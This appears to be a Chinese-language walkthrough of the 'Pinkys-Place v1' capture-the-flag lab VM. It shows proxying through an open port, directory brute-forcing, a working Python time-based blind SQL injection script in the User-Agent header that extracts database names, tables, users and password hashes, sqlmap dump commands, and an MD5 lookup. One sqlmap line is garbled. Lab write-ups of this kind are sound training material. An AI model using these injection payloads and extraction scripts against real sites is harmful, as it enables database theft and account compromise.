Pinkys-Place v1

information

直接访问8080端口显示403，但31337端口的服务是http-proxy，所以尝试以这个端口为代理访问
curl -i --proxy 192.168.56.101:31337 http://127.0.0.1:8080/
成功访问，同样可以给浏览器挂代理进行访问

然后目录爆破dirsearch --proxy 192.168.56.101:31337 -u "http://127.0.0.1:8080/" -w /usr/share/wordlists/dirbuster/direc也可以使用其他工具

获取漏洞/利用

由于登录时错误的登录返回只有一句"Incorrect Username or Password"，也就是对账号和密码爆破难度极大，所以这时去尝试是否具有sql注入漏洞，对请求的各个参数进行测试。

在对User-Agent测试时发现了基于时间盲注的Sql注入

在进行手工sql漏洞测试时，对页面正常回显的内容，可以首先时间盲注，语句首选' or sleep(5) or ' 之后在尝试其他的

通过如下语句判断为MySQL数据库
' or 'a'+'b' = 'ab' or sleep(5) or '
' or CONCAT('a','b')='aba' or sleep(5) or '

A.python脚本

import requests
import time
url = "http://127.0.0.1:8080/littlesecrets-main/login.php"
proxys = {"http":"192.168.56.101:31337"}
sql = ""
data = {
    "user":"administrator",
    "pass":"asd"
}
for i in range(1, 100):
    top = 126
    low = 32
    while top - low > 1:
        length = (top + low) // 2
        reBody = {
            "User-Agent":f"' or (select ascii(substr(group_concat(schema_name),{i},1)) from information_schema.schemata) < {length} or sleep(1) or '"
        }
        a = time.time()
        res = requests.post(url = url,proxies=proxys,headers=reBody,data=data)
        b = time.time()
        if b - a >= 1:
            low = length    
        else:
            top = length
        if top - low == 1 or top - low == 0:
            print(chr(low),end='')
# information_schema,pinky_sec_db

# ' or (select ascii(substr(group_concat(table_name),{i},1)) from information_schema.tables where table_schema = database()) < {length} or sleep(1) or ' 
# logs,users  

# ' or (select ascii(substr(group_concat(column_name),{i},1)) from information_schema.columns where table_name = 'users') < {length} or sleep(1) or '
# uid,user,pass

# ' or (select ascii(substr(group_concat(user),{i},1)) from users) < {length} or sleep(1) or '
# pinky,pinkymanage

# ' or (select ascii(substr(group_concat(pass),{i},1)) from users) < {length} or sleep(1) or '
# f543dbfeaf238729831a321c7a68bee4,d60dffed7cc0d87e1f4a11aa06ca73af

B.sqlmap

sqlmap --proxy "http://192.168.56.101:31337" -r 2.txt --batch --level 3
sqlmap --proxy "http://192.168.56.101:31337" -r 2.txt -****-batch --level 3 -D "pinky_sec_db" -T "users" -C "user,pass" --dump**

解密密文

[http://www.nitrxgen.net/md5db/d60dffed7cc0d87e1f4a11aa06ca73af](http://www.nitrxgen.net/md5db/d60dffed7cc0d87e1f4a11aa06ca73af)

3pinkysaf33pinkysaf3
f543dbfeaf238729831a321c7a68bee4破解失败